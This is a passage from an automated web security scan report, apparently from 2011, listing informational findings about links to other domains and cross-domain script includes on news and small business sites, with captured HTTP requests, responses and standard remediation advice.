...[SNIP]...
<h2> <a href="http://online.wsj.com/article/SB10001424052748704681904576317351118089000.html" >Is It Time to Buy an Annuity?</a>
...[SNIP]...
<h2> <a href="http://online.wsj.com/article/SB10001424052748704681904576319300658538160.html" >The Case for Bank Stocks</a>
...[SNIP]...
<h2> <a href="http://online.wsj.com/article/SB10001424052748704681904576321550230318740.html" >Hedging Your Home Value: The Greates....</a>
...[SNIP]...
<h2> <a href="http://online.wsj.com/article/SB10001424052748704681904576319451014552580.html" >Crystal Ball; What's ahead for share....</a>
...[SNIP]...
<h2> <a href="http://online.wsj.com/article/SB10001424052748704681904576317364107515614.html" >Why Gold Will Outshine Silver</a>
...[SNIP]...
<h2> <a href="http://online.wsj.com/article/SB10001424052748703730804576317433897512992.html" >The Galleon Verdict: What It Means f....</a>
...[SNIP]...
<h2> <a href="http://online.wsj.com/article/SB10001424052748704681904576317592961916516.html" >Long-Term Mutual Funds Gain</a>
...[SNIP]...

19.152. http://www.smartmoney.com/static_html_files/smartmoney/smIntro.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.smartmoney.com
Path:	/static_html_files/smartmoney/smIntro.html

Issue detail

The page was loaded from a URL containing a query string:

http://www.smartmoney.com/static_html_files/smartmoney/smIntro.html?page=http://www.smartmoney.com/

The response contains the following links to other domains:

http://ajax.googleapis.com/ajax/libs/jquery/1.5.1/jquery.min.js
http://s.wsj.net/img/sm/SMLogoLg.gif

Request

GET /static_html_files/smartmoney/smIntro.html?page=http://www.smartmoney.com/ HTTP/1.1
Host: www.smartmoney.com
Proxy-Connection: keep-alive
Referer: http://www.smartmoney.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: djcs_route=65a08c08-94ef-4153-a49e-58cc26e0596f

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 10:14:41 GMT
Server: Apache
Accept-Ranges: bytes
Vary: Accept-Encoding
Cache-Control: max-age=2592000, public
Expires: Mon, 13 Jun 2011 10:14:41 GMT
P3P: CP=CAO DSP COR CURa ADMa DEVi TAIo PSAa PSDa IVDi CONi OTPi OUR OTRi BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA OTC
Content-Type: text/html
Content-Length: 4786

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<head>
<title
...[SNIP]...
<meta name="ROBOTS" content="NOINDEX, NOFOLLOW" />
<script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.5.1/jquery.min.js"></script>
...[SNIP]...
<td width="50%" align="left">
<img align="left" border="0" alt="" src="http://s.wsj.net/img/sm/SMLogoLg.gif"/>
</td>
...[SNIP]...

20. Cross-domain script include previous next
There are 97 instances of this issue:

http://ad.doubleclick.net/adi/barrons.com/columnist
http://ad.doubleclick.net/adi/barrons.com/columnist
http://ad.doubleclick.net/adi/barrons.com/daily_barronstake
http://ad.doubleclick.net/adi/barrons.com/mag_streetwise
http://ad.doubleclick.net/adi/interactive.wsj.com/asia_houseoftheday
http://ad.doubleclick.net/adi/marketwatch.com/frontpage
http://allthingsd.com/
http://allthingsd.com/about/kara-swisher/ethics/
http://coretomic.com/
http://coretomic.com/epay.html
http://coretomic.com/favicon.ico
http://fanpeeps.com/
http://fanpeeps.com/PURPBG1.png
http://fanpeeps.com/SCALE20.gif
http://fanpeeps.com/bg2.jpg
http://fanpeeps.com/function.fopen
http://fanpeeps.com/greybox/AJS.js
http://fanpeeps.com/greybox/gb_scripts.js
http://fanpeeps.com/greybox/gb_styles.css
http://fanpeeps.com/media/
http://fanpeeps.com/media/blueactive2.gif
http://fanpeeps.com/mlb
http://fanpeeps.com/nba
http://fanpeeps.com/ncaa
http://fanpeeps.com/ncaa2.php
http://fanpeeps.com/nfl
http://fanpeeps.com/thumbnailviewer.css
http://fanpeeps.com/thumbnailviewer.js
http://fanpeeps.com/twitterlib.js
http://fanpeeps.com/worldcup
http://itunes.apple.com/us/app/wsj-house-of-the-day/id418203198
http://kara.allthingsd.com/20110513/dear-yahoo-board-your-investors-are-on-line-2-and-theyre-not-happy/
http://online.barrons.com/article/SB50001424052970203286304576313262992330454.html
http://online.barrons.com/article/barrons_take.html
http://online.barrons.com/home-page
http://online.wsj.com/article/SB10001424052748703730804576313682030967852.html
http://online.wsj.com/article/SB10001424052748703730804576317293981683266.html
http://online.wsj.com/article/SB10001424052748703864204576314083707711492--LESS.html
http://online.wsj.com/article/SB10001424052748703864204576321552255041680.html
http://online.wsj.com/article/SB10001424052748704681904576315662838806984.html
http://online.wsj.com/article/SB10001424052748704681904576319301584731990.html
http://online.wsj.com/home-page
http://online.wsj.com/public/page/news-career-jobs.html
http://online.wsj.com/public/page/news-economy.html
http://online.wsj.com/public/page/news-real-estate-homes.html
http://online.wsj.com/static_html_files/onespot_js.html
http://smartmoney.onespot.com/static/nextclick/content_exchange.html
http://topics.barrons.com/person/S/michael-santoli/6041
http://topics.wsj.com/djscript/latest/dj/widget/panels/view/SlidePanel.js
http://topics.wsj.com/subject/W/wall-street-journal/nbc-news-polls/6052
http://twitter.com/WSJHouse
http://www.dinse.com/
http://www.dinse.com/about_the_firm/Employment.html
http://www.dinse.com/about_the_firm/disclaimer.html
http://www.dinse.com/about_the_firm/history.html
http://www.dinse.com/about_the_firm/working_at_dinse.html
http://www.dinse.com/attorneys.html
http://www.dinse.com/attorneys/knapp.html
http://www.dinse.com/attorneys/mckearin.html
http://www.dinse.com/attorneys/monahan.html
http://www.dinse.com/contact.html
http://www.dinse.com/contact/email.html
http://www.dinse.com/index.html
http://www.dinse.com/news_events.html
http://www.dinse.com/news_events/in_the_news.html
http://www.dinse.com/news_events/in_the_news/20.html
http://www.dinse.com/practice-areas/employment.html
http://www.dinse.com/publications.html
http://www.facebook.com/plugins/fan.php
http://www.facebook.com/plugins/like.php
http://www.facebook.com/plugins/likebox.php
http://www.facebook.com/plugins/recommendations.php
http://www.facebook.com/widgets/recommendations.php
http://www.fanpeeps.com/
http://www.fanpeeps.com/bg2.jpg
http://www.fanpeeps.com/media/blueactive2.gif
http://www.fins.com/
http://www.fins.com/Job-Interview-Tips
http://www.fins.com/Tour.aspx
http://www.marketwatch.com/
http://www.marketwatch.com/story/citigroups-new-look-is-plainly-cosmetic-2011-05-13
http://www.marketwatch.com/story/medicare-social-security-finance-outlook-worsens-2011-05-13-1223390
http://www.marketwatch.com/story/oil-futures-ease-but-stay-above-98-a-barrel-2011-05-12
http://www.marketwatch.com/story/oil-futures-ease-but-stay-above-98-a-barrel-2011-05-12
http://www.mcafeesecure.com/RatingVerify
http://www.mcafeesecure.com/favicon.ico
http://www.mcafeesecure.com/us/
http://www.mcafeesecure.com/us/products/buy_now.jsp
http://www.mcafeesecure.com/us/products/mcafee_secure.jsp
https://www.mcafeesecure.com/SignUp.sa
https://www.mcafeesecure.com/us/products/buy_now.jsp
https://www.mcafeesecure.com/us/resources/resource.jsp
http://www.midphase.com/
http://www.siteadvisor.com/download/windows.html
http://www.smartmoney.com/
http://www.smartmoney.com/invest/strategies/heavy-metal-debate-silver-vs-gold-1305310258887/
http://www.smartmoney.com/static_html_files/smartmoney/smIntro.html

Issue background

When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.

If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.

Issue remediation

Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.

20.1. http://ad.doubleclick.net/adi/barrons.com/columnist previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/barrons.com/columnist

Issue detail

The response dynamically includes the following script from another domain:

http://bs.serving-sys.com/BurstingPipe/adServer.bs?cn=rsb&c=28&pli=2334089&PluID=0&w=728&h=90&ord=3176541&ifrm=1&ucm=true&ifl=$$/static_html_files/addineyeV2.html$$&ncu=$$http://ad.doubleclick.net/click%3Bh%3Dv8/3b07/3/0/%2a/p%3B238353148%3B0-0%3B0%3B51787543%3B3454-728/90%3B41887851/41905638/1%3B%3B%7Eokv%3D%3B%21category%3D%3Bbiz%3D1053%3B%3Bs%3D8_10001%3Bmc%3D0%3Btile%3D2%3Bsz%3D728x90%3B%3B%7Eaopt%3D2/1/ff/1%3B%7Esscs%3D%3f$$&z=39

Request

Response

20.2. http://ad.doubleclick.net/adi/barrons.com/columnist previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/barrons.com/columnist

Issue detail

The response dynamically includes the following script from another domain:

http://amch.questionmarket.com/adsc/d899015/9/902216/randm.js

Request

Response

20.3. http://ad.doubleclick.net/adi/barrons.com/daily_barronstake previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/barrons.com/daily_barronstake

Issue detail

The response dynamically includes the following script from another domain:

http://s0.2mdn.net/879366/flashwrite_1_2.js

Request

Response

20.4. http://ad.doubleclick.net/adi/barrons.com/mag_streetwise previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/barrons.com/mag_streetwise

Issue detail

The response dynamically includes the following script from another domain:

http://cdn.eyewonder.com/100125/768790/1436051/wrapper.js

Request

Response

20.5. http://ad.doubleclick.net/adi/interactive.wsj.com/asia_houseoftheday previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/interactive.wsj.com/asia_houseoftheday

Issue detail

The response dynamically includes the following script from another domain:

http://s0.2mdn.net/879366/flashwrite_1_2.js

Request

Response

20.6. http://ad.doubleclick.net/adi/marketwatch.com/frontpage previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/marketwatch.com/frontpage

Issue detail

The response dynamically includes the following script from another domain:

http://s0.2mdn.net/879366/flashwrite_1_2.js

Request

Response

20.7. http://allthingsd.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://allthingsd.com
Path:	/

Issue detail

The response dynamically includes the following scripts from other domains:

http://adsyndication.msn.com/delivery/getads.js
http://ajax.googleapis.com/ajax/libs/jquery/1.2.6/jquery.min.js
http://c.wsj.net/dynamic/hat/hatloader3.js
http://stats.wordpress.com/wpcom.js?10
http://w.sharethis.com/button/buttons.js
http://www.fins.com/Finance/JScripts/FINS_Widget.js

Request

GET / HTTP/1.1
Host: allthingsd.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Server: nginx
Date: Sat, 14 May 2011 10:12:54 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
Vary: Accept-Encoding
Last-Modified: Sat, 14 May 2011 10:09:43 +0000
Cache-Control: max-age=109, must-revalidate
Vary: Cookie
X-Pingback: http://allthingsd.com/xmlrpc.php
X-nananana: Batcache
Content-Length: 79605

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="en-US">
<head profi
...[SNIP]...
</style>
<script type='text/javascript' src='http://c.wsj.net/dynamic/hat/hatloader3.js'></script>
...[SNIP]...

<script charset="utf-8" type="text/javascript" src="http://w.sharethis.com/button/buttons.js"></script>
...[SNIP]...


<script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.2.6/jquery.min.js"></script>
...[SNIP]...
<div id="ctl00_pnlScript">

<script language="javascript" type="text/javascript" src="http://www.fins.com/Finance/JScripts/FINS_Widget.js"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://adsyndication.msn.com/delivery/getads.js"></script>
...[SNIP]...
<![endif]-->
<script src="http://stats.wordpress.com/wpcom.js?10" type="text/javascript"></script>
...[SNIP]...

20.8. http://allthingsd.com/about/kara-swisher/ethics/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://allthingsd.com
Path:	/about/kara-swisher/ethics/

Issue detail

The response dynamically includes the following scripts from other domains:

http://ajax.googleapis.com/ajax/libs/jquery/1.2.6/jquery.min.js
http://c.wsj.net/dynamic/hat/hatloader3.js
http://stats.wordpress.com/wpcom.js?10
http://w.sharethis.com/button/buttons.js

Request

GET /about/kara-swisher/ethics/ HTTP/1.1
Host: allthingsd.com
Proxy-Connection: keep-alive
Referer: http://kara.allthingsd.com/20110513/dear-yahoo-board-your-investors-are-on-line-2-and-theyre-not-happy/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __switchTo5x=48; atd_cookie_notice=2; __unam=c2a74e1-12fedfea5dc-285fdd11-2; s_cc=true; __utmz=163124451.1305368046.1.1.utmcsr=allthingsd.com|utmccn=(referral)|utmcmd=referral|utmcct=/; __utma=163124451.1995851890.1305368046.1305368046.1305368046.1; __utmc=163124451; __utmb=163124451.1.10.1305368046; s_sq=djglobal%2Cdjatd%3D%2526pid%253DATD_Kara%252520Swisher%252520Blog%252520Dear%252520Yahoo%252520Board%25253A%252520Your%252520Investors%252520Are%252520on%252520Line%2525202%252520and%252520They%252526%2525238217%25253Bre%252520Not%252520Happy%2526pidt%253D1%2526oid%253Dhttp%25253A//allthingsd.com/about/kara-swisher/ethics/%2526ot%253DA

Response

HTTP/1.1 200 OK
Server: nginx
Date: Sat, 14 May 2011 10:33:36 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
Vary: Accept-Encoding
Vary: Cookie
X-Pingback: http://allthingsd.com/xmlrpc.php
Last-Modified: Sat, 14 May 2011 10:33:36 +0000
Cache-Control: max-age=300, must-revalidate
X-nananana: Batcache
Content-Length: 41613

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="en-US">
<head profi
...[SNIP]...
</style>
<script type='text/javascript' src='http://c.wsj.net/dynamic/hat/hatloader3.js'></script>
...[SNIP]...

<script charset="utf-8" type="text/javascript" src="http://w.sharethis.com/button/buttons.js"></script>
...[SNIP]...


<script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.2.6/jquery.min.js"></script>
...[SNIP]...
<![endif]-->
<script src="http://stats.wordpress.com/wpcom.js?10" type="text/javascript"></script>
...[SNIP]...

20.9. http://coretomic.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://coretomic.com
Path:	/

Issue detail

The response dynamically includes the following script from another domain:

http://www.google-analytics.com/urchin.js

Request

Response

20.10. http://coretomic.com/epay.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://coretomic.com
Path:	/epay.html

Issue detail

The response dynamically includes the following script from another domain:

http://www.google-analytics.com/urchin.js

Request

Response

20.11. http://coretomic.com/favicon.ico previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://coretomic.com
Path:	/favicon.ico

Issue detail

The response dynamically includes the following script from another domain:

http://www.google-analytics.com/urchin.js

Request

GET /favicon.ico HTTP/1.1
Host: coretomic.com
Proxy-Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=27d5d9eed887f2b45c8e28f18b2f1b1c; __utma=251280532.880291708.1305372891.1305372891.1305372891.1; __utmb=251280532; __utmc=251280532; __utmz=251280532.1305372891.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none)

Response

HTTP/1.1 404 Not Found
Date: Sat, 14 May 2011 11:35:00 GMT
Server: Apache/2.2.3 (Debian)
X-Powered-By: PHP/4.4.9
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Type: text/html; charset=iso-8859-1
Content-Length: 24669

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><html>
<head>
<title>Coretomic - Home</title>

<meta http-equiv="Content-Type
...[SNIP]...
</script>

<script src="http://www.google-analytics.com/urchin.js" type="text/javascript">
</script>
...[SNIP]...

20.12. http://fanpeeps.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://fanpeeps.com
Path:	/

Issue detail

The response dynamically includes the following scripts from other domains:

http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js
http://tweetyourpicks.com/twitterlib030710.js

Request

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 11:49:30 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.5
X-Powered-By: PHP/5.2.5
Set-Cookie: PHPSESSID=b061a2ebeacf8a6612c80f00d65677a0; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Type: text/html
Content-Length: 17549

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<head>
   <t
...[SNIP]...
<link rel="stylesheet" type="text/css" href="/droplinebar.css" />

   <script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js"></script>
...[SNIP]...
<link rel="stylesheet" type="text/css" href="/twitterlib.css" />
   <script zsrc=/twitterlib.js src=http://tweetyourpicks.com/twitterlib030710.js zsrc=http://tweetyourpicks.com/twitterlib.jsorg zsrc=twitterlib.js zsrc=http://github.com/remy/twitterlib/raw/master/twitterlib.js type="text/javascript">
   </script>
...[SNIP]...

20.13. http://fanpeeps.com/PURPBG1.png previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://fanpeeps.com
Path:	/PURPBG1.png

Issue detail

The response dynamically includes the following scripts from other domains:

http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js
http://tweetyourpicks.com/twitterlib030710.js

Request

GET /PURPBG1.png HTTP/1.1
Host: fanpeeps.com
Proxy-Connection: keep-alive
Referer: http://fanpeeps.com/?action=news&pid=19&iid=7
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=1b50f007cc939a7069acd6837abb18ec; __utmz=181893936.1305373774.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=181893936.1520938759.1305373774.1305373774.1305373774.1; __utmc=181893936

Response

HTTP/1.1 404 Not Found
Date: Sat, 14 May 2011 12:32:45 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.5
X-Powered-By: PHP/5.2.5
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Type: text/html
Content-Length: 45737

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<head>
   <t
...[SNIP]...
<link rel="stylesheet" type="text/css" href="/droplinebar.css" />

   <script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js"></script>
...[SNIP]...
<link rel="stylesheet" type="text/css" href="/twitterlib.css" />
   <script zsrc=/twitterlib.js src=http://tweetyourpicks.com/twitterlib030710.js zsrc=http://tweetyourpicks.com/twitterlib.jsorg zsrc=twitterlib.js zsrc=http://github.com/remy/twitterlib/raw/master/twitterlib.js type="text/javascript">
   </script>
...[SNIP]...

20.14. http://fanpeeps.com/SCALE20.gif previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://fanpeeps.com
Path:	/SCALE20.gif

Issue detail

The response dynamically includes the following scripts from other domains:

http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js
http://tweetyourpicks.com/twitterlib030710.js

Request

Response

HTTP/1.1 404 Not Found
Date: Sat, 14 May 2011 12:47:56 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.5
X-Powered-By: PHP/5.2.5
Set-Cookie: PHPSESSID=84ecdb504a8826834895f41cd6c8bab8; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Type: text/html
Content-Length: 17549

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<head>
   <t
...[SNIP]...
<link rel="stylesheet" type="text/css" href="/droplinebar.css" />

   <script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js"></script>
...[SNIP]...
<link rel="stylesheet" type="text/css" href="/twitterlib.css" />
   <script zsrc=/twitterlib.js src=http://tweetyourpicks.com/twitterlib030710.js zsrc=http://tweetyourpicks.com/twitterlib.jsorg zsrc=twitterlib.js zsrc=http://github.com/remy/twitterlib/raw/master/twitterlib.js type="text/javascript">
   </script>
...[SNIP]...

20.15. http://fanpeeps.com/bg2.jpg previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://fanpeeps.com
Path:	/bg2.jpg

Issue detail

The response dynamically includes the following scripts from other domains:

http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js
http://tweetyourpicks.com/twitterlib030710.js

Request

GET /bg2.jpg HTTP/1.1
Host: fanpeeps.com
Proxy-Connection: keep-alive
Referer: http://fanpeeps.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=1b50f007cc939a7069acd6837abb18ec

Response

HTTP/1.1 404 Not Found
Date: Sat, 14 May 2011 11:49:35 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.5
X-Powered-By: PHP/5.2.5
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Type: text/html
Content-Length: 17549

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<head>
   <t
...[SNIP]...
<link rel="stylesheet" type="text/css" href="/droplinebar.css" />

   <script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js"></script>
...[SNIP]...
<link rel="stylesheet" type="text/css" href="/twitterlib.css" />
   <script zsrc=/twitterlib.js src=http://tweetyourpicks.com/twitterlib030710.js zsrc=http://tweetyourpicks.com/twitterlib.jsorg zsrc=twitterlib.js zsrc=http://github.com/remy/twitterlib/raw/master/twitterlib.js type="text/javascript">
   </script>
...[SNIP]...

20.16. http://fanpeeps.com/function.fopen previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://fanpeeps.com
Path:	/function.fopen

Issue detail

The response dynamically includes the following scripts from other domains:

http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js
http://tweetyourpicks.com/twitterlib030710.js

Request

GET /function.fopen HTTP/1.1
Host: fanpeeps.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=181893936.1305373774.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=1b50f007cc939a7069acd6837abb18ec; __utma=181893936.1520938759.1305373774.1305373774.1305376380.2; __utmc=181893936; __utmb=181893936.9.10.1305376380;

Response

HTTP/1.1 404 Not Found
Date: Sat, 14 May 2011 12:43:40 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.5
X-Powered-By: PHP/5.2.5
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html
Content-Length: 101385

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<head>
   <t
...[SNIP]...
<link rel="stylesheet" type="text/css" href="/droplinebar.css" />

   <script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js"></script>
...[SNIP]...
<link rel="stylesheet" type="text/css" href="/twitterlib.css" />
   <script zsrc=/twitterlib.js src=http://tweetyourpicks.com/twitterlib030710.js zsrc=http://tweetyourpicks.com/twitterlib.jsorg zsrc=twitterlib.js zsrc=http://github.com/remy/twitterlib/raw/master/twitterlib.js type="text/javascript">
   </script>
...[SNIP]...

20.17. http://fanpeeps.com/greybox/AJS.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://fanpeeps.com
Path:	/greybox/AJS.js

Issue detail

The response dynamically includes the following scripts from other domains:

http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js
http://tweetyourpicks.com/twitterlib030710.js

Request

GET /greybox/AJS.js HTTP/1.1
Host: fanpeeps.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=181893936.1305373774.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=1b50f007cc939a7069acd6837abb18ec; __utma=181893936.1520938759.1305373774.1305373774.1305376380.2; __utmc=181893936; __utmb=181893936.9.10.1305376380;

Response

HTTP/1.1 404 Not Found
Date: Sat, 14 May 2011 12:43:39 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.5
X-Powered-By: PHP/5.2.5
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html
Content-Length: 17577

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<head>
   <t
...[SNIP]...
<link rel="stylesheet" type="text/css" href="/droplinebar.css" />

   <script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js"></script>
...[SNIP]...
<link rel="stylesheet" type="text/css" href="/twitterlib.css" />
